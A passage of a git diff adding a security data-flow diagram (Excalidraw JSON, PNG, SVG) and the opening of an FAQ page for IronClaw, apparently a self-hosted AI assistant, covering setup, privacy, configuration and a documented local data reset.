"type": "text" + }, + { + "id": "arrow1", + "type": "arrow" + } + ], + "version": 271, + "versionNonce": 788173210, + "index": "a2", + "isDeleted": false, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772740163824, + "link": null, + "locked": false + }, + { + "type": "text", + "id": "user_input_text", + "x": 157.8359375, + "y": 97.09375, + "width": 80, + "height": 20, + "text": "User Input", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "backgroundColor": "transparent", + "containerId": "user_input", + "version": 270, + "versionNonce": 215713862, + "index": "a3", + "isDeleted": false, + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772740159427, + "link": null, + "locked": false, + "originalText": "User Input", + "autoResize": true, + "lineHeight": 1.6666666666666667 + }, + { + "type": "rectangle", + "id": "validator", + "x": 333.484375, + "y": 90.75, + "width": 100, + "height": 35, + "strokeColor": "#b45309", + "backgroundColor": "#fef3c7", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "id": "validator_text", + "type": "text" + }, + { + "id": "arrow1", + "type": "arrow" + }, + { + "id": "arrow2", + "type": "arrow" + } + ], + "version": 235, + "versionNonce": 990218758, + "index": "a4", + "isDeleted": false, + "strokeStyle": "solid", + "angle": 0, + "seed": 1, + "groupIds": [], + "frameId": null, + "updated": 1772740252778, + "link": null, + "locked": false + }, + { + "type": "text", + "id": "validator_text", + "x": 343.484375, + "y": 98.25, + "width": 80, + "height": 20, + "text": "Validator", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "containerId": "validator", + "version": 232, + "versionNonce": 1848452954, + "index": "a5", + "isDeleted": false, + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "backgroundColor": "transparent", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772740174009, + "link": null, + "locked": false, + "originalText": "Validator", + "autoResize": true, + "lineHeight": 1.6666666666666667 + }, + { + "type": "diamond", + "id": "validation_check", + "x": 323.7265625, + "y": 162.51953125, + "width": 120, + "height": 55, + "strokeColor": "#dc2626", + "backgroundColor": "#fee2e2", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "boundElements": [ + { + "id": "valid_text", + "type": "text" + }, + { + "id": "arrow2", + "type": "arrow" + }, + { + "id": "arrow3", + "type": "arrow" + }, + { + "id": "arrow4", + "type": "arrow" + } + ], + "version": 441, + "versionNonce": 682444550, + "index": "a6", + "isDeleted": false, + "strokeStyle": "solid", + "angle": 0, + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772740285590, + "link": null, + "locked": false + }, + { + "type": "text", + "id": "valid_text", + "x": 363.7265625, + "y": 182.51953125, + "width": 40, + "height": 15, + "text": "Valid?", + "fontSize": 10, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#dc2626", + "containerId": "validation_check", + "version": 436, + "versionNonce": 302630598, + "index": "a7", + "isDeleted": false, + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "backgroundColor": "transparent", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772740256480, + "link": null, + "locked": false, + "originalText": "Valid?", + "autoResize": true, + "lineHeight": 1.5 + }, + { + "type": "rectangle", + "id": "sanitizer", + "x": 333.28125, + "y": 246.859375, + "width": 100, + "height": 35, + "strokeColor": "#b45309", + "backgroundColor": "#fef3c7", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "id": "sanitizer_text", + "type": "text" + }, + { + "id": "arrow4", + "type": "arrow" + }, + { + "id": "arrow5", + "type": "arrow" + } + ], + "version": 152, + "versionNonce": 97933146, + "index": "a8", + "isDeleted": false, + "strokeStyle": "solid", + "angle": 0, + "seed": 1, + "groupIds": [], + "frameId": null, + "updated": 1772740344678, + "link": null, + "locked": false + }, + { + "type": "text", + "id": "sanitizer_text", + "x": 343.28125, + "y": 254.359375, + "width": 80, + "height": 20, + "text": "Sanitizer", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "containerId": "sanitizer", + "version": 149, + "versionNonce": 39115482, + "index": "a9", + "isDeleted": false, + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "backgroundColor": "transparent", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772740302635, + "link": null, + "locked": false, + "originalText": "Sanitizer", + "autoResize": true, + "lineHeight": 1.6666666666666667 + }, + { + "type": "rectangle", + "id": "policy", + "x": 507.30078125, + "y": 245.04296875, + "width": 100, + "height": 35, + "strokeColor": "#b45309", + "backgroundColor": "#fef3c7", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "id": "policy_text", + "type": "text" + }, + { + "id": "arrow6", + "type": "arrow" + }, + { + "id": "arrow5", + "type": "arrow" + } + ], + "version": 354, + "versionNonce": 1337095770, + "index": "aA", + "isDeleted": false, + "strokeStyle": "solid", + "angle": 0, + "seed": 1, + "groupIds": [], + "frameId": null, + "updated": 1772740348181, + "link": null, + "locked": false + }, + { + "type": "text", + "id": "policy_text", + "x": 517.30078125, + "y": 252.54296875, + "width": 80, + "height": 20, + "text": "Policy", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "containerId": "policy", + "version": 351, + "versionNonce": 805078022, + "index": "aB", + "isDeleted": false, + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "backgroundColor": "transparent", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772740340929, + "link": null, + "locked": false, + "originalText": "Policy", + "autoResize": true, + "lineHeight": 1.6666666666666667 + }, + { + "type": "rectangle", + "id": "leak", + "x": 493.453125, + "y": 343.36328125, + "width": 130, + "height": 35, + "strokeColor": "#b45309", + "backgroundColor": "#fef3c7", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "id": "leak_text", + "type": "text" + }, + { + "id": "arrow6", + "type": "arrow" + }, + { + "id": "arrow7", + "type": "arrow" + } + ], + "version": 328, + "versionNonce": 1118799258, + "index": "aC", + "isDeleted": false, + "strokeStyle": "solid", + "angle": 0, + "seed": 1, + "groupIds": [], + "frameId": null, + "updated": 1772740370123, + "link": null, + "locked": false + }, + { + "type": "text", + "id": "leak_text", + "x": 513.453125, + "y": 350.86328125, + "width": 90, + "height": 20, + "text": "Leak Detector", + "fontSize": 11, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "containerId": "leak", + "version": 326, + "versionNonce": 1827279046, + "index": "aD", + "isDeleted": false, + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "backgroundColor": "transparent", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772740352593, + "link": null, + "locked": false, + "originalText": "Leak Detector", + "autoResize": true, + "lineHeight": 1.8181818181818181 + }, + { + "type": "ellipse", + "id": "llm", + "x": 334.8125, + "y": 341.4453125, + "width": 100, + "height": 40, + "strokeColor": "#6d28d9", + "backgroundColor": "#ddd6fe", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "boundElements": [ + { + "id": "llm_text", + "type": "text" + }, + { + "id": "arrow7", + "type": "arrow" + }, + { + "id": "arrow8", + "type": "arrow" + } + ], + "version": 309, + "versionNonce": 901660186, + "index": "aE", + "isDeleted": false, + "strokeStyle": "solid", + "angle": 0, + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772740381410, + "link": null, + "locked": false + }, + { + "type": "text", + "id": "llm_text", + "x": 354.8125, + "y": 351.4453125, + "width": 60, + "height": 20, + "text": "LLM", + "fontSize": 14, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "containerId": "llm", + "version": 306, + "versionNonce": 1750869574, + "index": "aF", + "isDeleted": false, + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "backgroundColor": "transparent", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772740361843, + "link": null, + "locked": false, + "originalText": "LLM", + "autoResize": true, + "lineHeight": 1.4285714285714286 + }, + { + "type": "rectangle", + "id": "wasm", + "x": 191.52734375, + "y": 342.6796875, + "width": 80, + "height": 35, + "strokeColor": "#047857", + "backgroundColor": "#a7f3d0", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "id": "wasm_text", + "type": "text" + }, + { + "id": "arrow8", + "type": "arrow" + }, + { + "id": "arrow9", + "type": "arrow" + } + ], + "version": 414, + "versionNonce": 331605702, + "index": "aG", + "isDeleted": false, + "strokeStyle": "solid", + "angle": 0, + "seed": 1, + "groupIds": [], + "frameId": null, + "updated": 1772740394291, + "link": null, + "locked": false + }, + { + "type": "text", + "id": "wasm_text", + "x": 196.52734375, + "y": 350.1796875, + "width": 70, + "height": 20, + "text": "WASM", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "containerId": "wasm", + "version": 410, + "versionNonce": 828973894, + "index": "aH", + "isDeleted": false, + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "backgroundColor": "transparent", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772740384114, + "link": null, + "locked": false, + "originalText": "WASM", + "autoResize": true, + "lineHeight": 1.6666666666666667 + }, + { + "type": "rectangle", + "id": "docker", + "x": 192.0859375, + "y": 449.69921875, + "width": 80, + "height": 35, + "strokeColor": "#047857", + "backgroundColor": "#a7f3d0", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "id": "docker_text", + "type": "text" + }, + { + "id": "arrow9", + "type": "arrow" + }, + { + "id": "arrow10", + "type": "arrow" + } + ], + "version": 291, + "versionNonce": 1327900442, + "index": "aI", + "isDeleted": false, + "strokeStyle": "solid", + "angle": 0, + "seed": 1, + "groupIds": [], + "frameId": null, + "updated": 1772740417884, + "link": null, + "locked": false + }, + { + "type": "text", + "id": "docker_text", + "x": 197.0859375, + "y": 457.19921875, + "width": 70, + "height": 20, + "text": "Docker", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "containerId": "docker", + "version": 287, + "versionNonce": 1909938950, + "index": "aJ", + "isDeleted": false, + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "backgroundColor": "transparent", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772740400530, + "link": null, + "locked": false, + "originalText": "Docker", + "autoResize": true, + "lineHeight": 1.6666666666666667 + }, + { + "type": "ellipse", + "id": "proxy", + "x": 347.32421875, + "y": 452.5078125, + "width": 80, + "height": 35, + "strokeColor": "#b91c1c", + "backgroundColor": "#fecaca", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "boundElements": [ + { + "id": "proxy_text", + "type": "text" + }, + { + "id": "arrow10", + "type": "arrow" + }, + { + "id": "arrow11", + "type": "arrow" + } + ], + "version": 292, + "versionNonce": 931078554, + "index": "aK", + "isDeleted": false, + "strokeStyle": "solid", + "angle": 0, + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772740432564, + "link": null, + "locked": false + }, + { + "type": "text", + "id": "proxy_text", + "x": 357.32421875, + "y": 462.5078125, + "width": 60, + "height": 15, + "text": "Proxy", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "containerId": "proxy", + "version": 289, + "versionNonce": 193386246, + "index": "aL", + "isDeleted": false, + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "backgroundColor": "transparent", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772740411122, + "link": null, + "locked": false, + "originalText": "Proxy", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "ellipse", + "id": "external", + "x": 510.52734375, + "y": 451.3515625, + "width": 80, + "height": 35, + "strokeColor": "#64748b", + "backgroundColor": "#f1f5f9", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "boundElements": [ + { + "id": "external_text", + "type": "text" + }, + { + "id": "arrow11", + "type": "arrow" + } + ], + "version": 344, + "versionNonce": 16518470, + "index": "aM", + "isDeleted": false, + "strokeStyle": "solid", + "angle": 0, + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "updated": 1772740428835, + "link": null, + "locked": false + }, + { + "type": "text", + "id": "external_text", + "x": 520.52734375, + "y": 461.3515625, + "width": 60, + "height": 15, + "text": "External", + "fontSize": 12, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#374151", + "containerId": "external", + "version": 342, + "versionNonce": 30193990, + "index": "aN", + "isDeleted": false, + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "backgroundColor": "transparent", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772740423071, + "link": null, + "locked": false, + "originalText": "External", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "rectangle", + "id": "reject", + "x": 528.484375, + "y": 173.23046875, + "width": 80, + "height": 35, + "strokeColor": "#dc2626", + "backgroundColor": "#fee2e2", + "fillStyle": "solid", + "strokeWidth": 2, + "roughness": 0, + "opacity": 100, + "roundness": { + "type": 3 + }, + "boundElements": [ + { + "id": "reject_text", + "type": "text" + }, + { + "id": "arrow3", + "type": "arrow" + } + ], + "version": 115, + "versionNonce": 549465562, + "index": "aO", + "isDeleted": false, + "strokeStyle": "solid", + "angle": 0, + "seed": 1, + "groupIds": [], + "frameId": null, + "updated": 1772740267932, + "link": null, + "locked": false + }, + { + "type": "text", + "id": "reject_text", + "x": 543.484375, + "y": 183.23046875, + "width": 50, + "height": 15, + "text": "Reject", + "fontSize": 11, + "fontFamily": 3, + "textAlign": "center", + "verticalAlign": "middle", + "strokeColor": "#dc2626", + "containerId": "reject", + "version": 113, + "versionNonce": 398705434, + "index": "aP", + "isDeleted": false, + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "backgroundColor": "transparent", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772740259790, + "link": null, + "locked": false, + "originalText": "Reject", + "autoResize": true, + "lineHeight": 1.3636363636363635 + }, + { + "type": "arrow", + "id": "arrow1", + "x": 253.8356385157576, + "y": 107.17871066491536, + "width": 73.64873648424239, + "height": 0.9938246356410616, + "strokeColor": "#1e3a5f", + "strokeWidth": 2, + "roughness": 0, + "points": [ + [ + 0, + 0 + ], + [ + 73.64873648424239, + 0.9938246356410616 + ] + ], + "startBinding": { + "elementId": "user_input", + "mode": "orbit", + "fixedPoint": [ + 1, + 0.5001 + ] + }, + "endBinding": { + "elementId": "validator", + "mode": "orbit", + "fixedPoint": [ + 0, + 0.5001 + ] + }, + "version": 310, + "versionNonce": 1324254470, + "index": "aQ", + "isDeleted": false, + "fillStyle": "solid", + "strokeStyle": "solid", + "opacity": 100, + "angle": 0, + "backgroundColor": "transparent", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772740177499, + "link": null, + "locked": false, + "startArrowhead": null, + "endArrowhead": "arrow" + }, + { + "type": "arrow", + "id": "arrow2", + "x": 384.152457854728, + "y": 131.75, + "width": 0.48235743798034036, + "height": 24.840186341396986, + "strokeColor": "#1e3a5f", + "strokeWidth": 2, + "roughness": 0, + "points": [ + [ + 0, + 0 + ], + [ + 0.48235743798034036, + 24.840186341396986 + ] + ], + "startBinding": { + "mode": "orbit", + "elementId": "validator", + "fixedPoint": [ + 0.5054124999999999, + 0.9848098214285715 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "validation_check", + "fixedPoint": [ + 0.5087263020833329, + 0.02225909090909061 + ] + }, + "version": 790, + "versionNonce": 980372806, + "index": "aR", + "isDeleted": false, + "fillStyle": "solid", + "strokeStyle": "solid", + "opacity": 100, + "angle": 0, + "backgroundColor": "transparent", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772740256481, + "link": null, + "locked": false, + "startArrowhead": null, + "endArrowhead": "arrow", + "moveMidPointsWithElement": false + }, + { + "type": "arrow", + "id": "arrow3", + "x": 449.5637721457783, + "y": 190.85895415998132, + "width": 72.92060285422173, + "height": 0.5132412180226993, + "strokeColor": "#dc2626", + "strokeWidth": 2, + "roughness": 0, + "points": [ + [ + 0, + 0 + ], + [ + 72.92060285422173, + -0.5132412180226993 + ] + ], + "startBinding": { + "elementId": "validation_check", + "mode": "orbit", + "fixedPoint": [ + 0.9975260416666667, + 0.5160568181818183 + ] + }, + "endBinding": { + "elementId": "reject", + "mode": "orbit", + "fixedPoint": [ + -0.03686289062499952, + 0.48839285714285713 + ] + }, + "version": 717, + "versionNonce": 89612570, + "index": "aS", + "isDeleted": false, + "fillStyle": "solid", + "strokeStyle": "solid", + "opacity": 100, + "angle": 0, + "backgroundColor": "transparent", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772740267461, + "link": null, + "locked": false, + "startArrowhead": null, + "endArrowhead": "arrow", + "moveMidPointsWithElement": false + }, + { + "type": "arrow", + "id": "arrow4", + "x": 383.7033296076467, + "y": 223.368637586325, + "width": 0.23071744029704178, + "height": 17.49073741367502, + "strokeColor": "#1e3a5f", + "strokeWidth": 2, + "roughness": 0, + "points": [ + [ + 0, + 0 + ], + [ + -0.23071744029704178, + 17.49073741367502 + ] + ], + "startBinding": { + "mode": "orbit", + "elementId": "validation_check", + "fixedPoint": [ + 0.5001, + 1.0577704545454543 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "sanitizer", + "fixedPoint": [ + 0.5001, + 0.22141696428571356 + ] + }, + "version": 165, + "versionNonce": 1682430426, + "index": "aT", + "isDeleted": false, + "fillStyle": "solid", + "strokeStyle": "solid", + "opacity": 100, + "angle": 0, + "backgroundColor": "transparent", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772740310497, + "link": null, + "locked": false, + "startArrowhead": null, + "endArrowhead": "arrow" + }, + { + "type": "arrow", + "id": "arrow5", + "x": 439.28125000000006, + "y": 264.289955475068, + "width": 62.01953125, + "height": 0.7537391258758248, + "strokeColor": "#1e3a5f", + "strokeWidth": 2, + "roughness": 0, + "points": [ + [ + 0, + 0 + ], + [ + 62.01953125, + -0.7537391258758248 + ] + ], + "startBinding": { + "elementId": "sanitizer", + "mode": "orbit", + "fixedPoint": [ + 1, + 0.5001 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "policy", + "fixedPoint": [ + -0.01700937500000009, + 0.5268857142857135 + ] + }, + "version": 634, + "versionNonce": 1393080730, + "index": "aU", + "isDeleted": false, + "fillStyle": "solid", + "strokeStyle": "solid", + "opacity": 100, + "angle": 0, + "backgroundColor": "transparent", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772740347626, + "link": null, + "locked": false, + "startArrowhead": null, + "endArrowhead": "arrow", + "moveMidPointsWithElement": false + }, + { + "type": "arrow", + "id": "arrow6", + "x": 558.5913577924788, + "y": 286.04296875, + "width": 0.11281509326806827, + "height": 51.3203125, + "strokeColor": "#1e3a5f", + "strokeWidth": 2, + "roughness": 0, + "points": [ + [ + 0, + 0 + ], + [ + 0.11281509326806827, + 51.3203125 + ] + ], + "startBinding": { + "mode": "orbit", + "elementId": "policy", + "fixedPoint": [ + 0.5127171875, + 0.9263276785714278 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "leak", + "fixedPoint": [ + 0.5020230769230771, + -0.016083035714286455 + ] + }, + "version": 584, + "versionNonce": 1345849350, + "index": "aV", + "isDeleted": false, + "fillStyle": "solid", + "strokeStyle": "solid", + "opacity": 100, + "angle": 0, + "backgroundColor": "transparent", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772740352593, + "link": null, + "locked": false, + "startArrowhead": null, + "endArrowhead": "arrow", + "moveMidPointsWithElement": false + }, + { + "type": "arrow", + "id": "arrow7", + "x": 487.45312500000006, + "y": 360.77876930866285, + "width": 46.80151545882069, + "height": 1.3029174965672041, + "strokeColor": "#1e3a5f", + "strokeWidth": 2, + "roughness": 0, + "points": [ + [ + 0, + 0 + ], + [ + -46.80151545882069, + -1.3029174965672041 + ] + ], + "startBinding": { + "mode": "orbit", + "elementId": "leak", + "fixedPoint": [ + -0.021835096153845896, + 0.5001 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "llm", + "fixedPoint": [ + 1.0348265625, + 0.4491234375000005 + ] + }, + "version": 511, + "versionNonce": 440840410, + "index": "aW", + "isDeleted": false, + "fillStyle": "solid", + "strokeStyle": "solid", + "opacity": 100, + "angle": 0, + "backgroundColor": "transparent", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772740369818, + "link": null, + "locked": false, + "startArrowhead": null, + "endArrowhead": "arrow" + }, + { + "type": "arrow", + "id": "arrow8", + "x": 336.734375, + "y": 363.328125, + "width": 59.20703125, + "height": 2.8555572807464387, + "strokeColor": "#1e3a5f", + "strokeWidth": 2, + "roughness": 0, + "points": [ + [ + 0, + 0 + ], + [ + -59.20703125, + -2.8555572807464387 + ] + ], + "startBinding": { + "elementId": "llm", + "mode": "inside", + "fixedPoint": [ + 0.01921875, + 0.5470703125 + ] + }, + "endBinding": { + "elementId": "wasm", + "mode": "orbit", + "fixedPoint": [ + 1, + 0.5001 + ] + }, + "version": 349, + "versionNonce": 302821978, + "index": "aX", + "isDeleted": false, + "fillStyle": "solid", + "strokeStyle": "solid", + "opacity": 100, + "angle": 0, + "backgroundColor": "transparent", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772740388481, + "link": null, + "locked": false, + "startArrowhead": null, + "endArrowhead": "arrow" + }, + { + "type": "arrow", + "id": "arrow9", + "x": 231.58188060523673, + "y": 383.6796875, + "width": 0.46552003952649557, + "height": 60.01953125, + "strokeColor": "#1e3a5f", + "strokeWidth": 2, + "roughness": 0, + "points": [ + [ + 0, + 0 + ], + [ + 0.46552003952649557, + 60.01953125 + ] + ], + "startBinding": { + "elementId": "wasm", + "mode": "orbit", + "fixedPoint": [ + 0.5001, + 1 + ] + }, + "endBinding": { + "elementId": "docker", + "mode": "orbit", + "fixedPoint": [ + 0.5001, + 0 + ] + }, + "version": 485, + "versionNonce": 1582131098, + "index": "aY", + "isDeleted": false, + "fillStyle": "solid", + "strokeStyle": "solid", + "opacity": 100, + "angle": 0, + "backgroundColor": "transparent", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772740404369, + "link": null, + "locked": false, + "startArrowhead": null, + "endArrowhead": "arrow" + }, + { + "type": "arrow", + "id": "arrow10", + "x": 278.0859375, + "y": 467.4266946598696, + "width": 63.240304392013456, + "height": 2.3607174527728603, + "strokeColor": "#1e3a5f", + "strokeWidth": 2, + "roughness": 0, + "points": [ + [ + 0, + 0 + ], + [ + 63.240304392013456, + 2.3607174527728603 + ] + ], + "startBinding": { + "elementId": "docker", + "mode": "orbit", + "fixedPoint": [ + 1, + 0.5001 + ] + }, + "endBinding": { + "elementId": "proxy", + "mode": "orbit", + "fixedPoint": [ + 0, + 0.5001 + ] + }, + "version": 484, + "versionNonce": 1856655450, + "index": "aZ", + "isDeleted": false, + "fillStyle": "solid", + "strokeStyle": "solid", + "opacity": 100, + "angle": 0, + "backgroundColor": "transparent", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772740420860, + "link": null, + "locked": false, + "startArrowhead": null, + "endArrowhead": "arrow" + }, + { + "type": "arrow", + "id": "arrow11", + "x": 433.2769677766732, + "y": 468.9429396146312, + "width": 71.26392301822983, + "height": 0.6616651392843664, + "strokeColor": "#1e3a5f", + "strokeWidth": 2, + "roughness": 0, + "points": [ + [ + 0, + 0 + ], + [ + 71.26392301822983, + -0.6616651392843664 + ] + ], + "startBinding": { + "mode": "orbit", + "elementId": "proxy", + "fixedPoint": [ + 1.0296898437499997, + 0.4705241071428564 + ] + }, + "endBinding": { + "mode": "orbit", + "elementId": "external", + "fixedPoint": [ + -0.06899179687499953, + 0.4835821428571421 + ] + }, + "version": 533, + "versionNonce": 2010762458, + "index": "aa", + "isDeleted": false, + "fillStyle": "solid", + "strokeStyle": "solid", + "opacity": 100, + "angle": 0, + "backgroundColor": "transparent", + "seed": 1, + "groupIds": [], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1772740432226, + "link": null, + "locked": false, + "startArrowhead": null, + "endArrowhead": "arrow" + } + ], + "appState": { + "gridSize": 20, + "gridStep": 5, + "gridModeEnabled": false, + "viewBackgroundColor": "#ffffff", + "lockedMultiSelections": {} + }, + "files": {} +} \ No newline at end of file diff --git a/docs/drafts/assets/security-data-flow.png b/docs/drafts/assets/security-data-flow.png new file mode 100644 index 0000000000..0033f9d48c Binary files /dev/null and b/docs/drafts/assets/security-data-flow.png differ diff --git a/docs/drafts/assets/security-data-flow.svg b/docs/drafts/assets/security-data-flow.svg new file mode 100644 index 0000000000..187e8ff0e2 --- /dev/null +++ b/docs/drafts/assets/security-data-flow.svg @@ -0,0 +1,4 @@ + + +Security Data FlowDefense in DepthUser InputValidatorValid?SanitizerPolicyLeak DetectorLLMWASMDockerProxyExternalReject \ No newline at end of file diff --git a/docs/drafts/help/faq.mdx b/docs/drafts/help/faq.mdx new file mode 100644 index 0000000000..e288a30149 --- /dev/null +++ b/docs/drafts/help/faq.mdx @@ -0,0 +1,243 @@ +--- +title: FAQ +sidebarTitle: FAQ +description: Frequently asked questions +--- + +Common questions about IronClaw. + +## General + + + + IronClaw is a secure, self-hosted AI assistant that runs on your own hardware. It provides a personal AI with strong privacy guarantees through multi-layer security. + + + + **No for basic use, yes for job sandboxing.** + + IronClaw runs as a standalone binary. Docker is only required if you want to use: + - Sandboxed job execution (Claude Code mode) + - WASM tool building with automatic compilation + + Without Docker, IronClaw still works fully — just without the Docker sandbox layer. + + + + **Yes.** IronClaw includes libSQL (embedded SQLite) as an alternative. + + libSQL requires no separate server and is recommended for personal use. PostgreSQL is recommended for production or multi-user deployments. + + + + Only prompts and responses go to your chosen LLM provider. Your: + - Conversations are stored locally + - Files remain on your machine + - Secrets are encrypted locally + - Settings are in your database + + If using a cloud provider (NEAR AI, Anthropic, OpenAI), your prompts/responses are sent to them. Use Ollama or Tinfoil for maximum privacy. + + + + | Feature | IronClaw | openclaw | + |---------|----------|----------| + | Deployment | Local, self-hosted | Cloud service | + | Data | Your hardware, your control | openclaw infrastructure | + | Language | Rust | Varies | + | Security | Multi-layer, local-first | Cloud security | + + IronClaw is the self-hosted version for users who want complete control over their data. + + + +## Configuration + + + + ```bash + # Re-run the wizard + ironclaw onboard --skip-auth + + # Or edit ~/.ironclaw/.env + export LLM_BACKEND=anthropic + export ANTHROPIC_API_KEY=sk-ant-... + ``` + + + + ```bash + ironclaw onboard --channels-only + ``` + + This runs only Step 6 of the wizard, letting you add channels without reconfiguring everything. + + + + | Skills | Tools | + |--------|-------| + | SKILL.md prompt extensions | Executable code | + | Extends LLM behavior | Extends capabilities | + | No code execution | Can run arbitrary code | + | Trust-based activation | Capability-based security | + + Skills guide the LLM's behavior. Tools give it new abilities. + + + + By default: `~/.ironclaw/` + + ``` + ~/.ironclaw/ + ├── ironclaw.db # libSQL database + ├── .env # Bootstrap config + ├── channels/ # WASM channels + ├── tools/ # WASM tools + └── skills/ # SKILL.md files + ``` + + Change with `IRONCLAW_BASE_DIR`. + + + +## Troubleshooting + + + + ```bash + # Stop IronClaw + killall ironclaw + + # Remove data + rm -rf ~/.ironclaw + + # Restart fresh + ironclaw onboard + ``` + + This permanently deletes all your data. + + + + NEAR AI OAuth requires a browser for authentication. It opens your default browser to complete login. + + On VPS/servers without a browser, use: + - NEAR AI Cloud API key (option 4 in auth menu) + - Or set 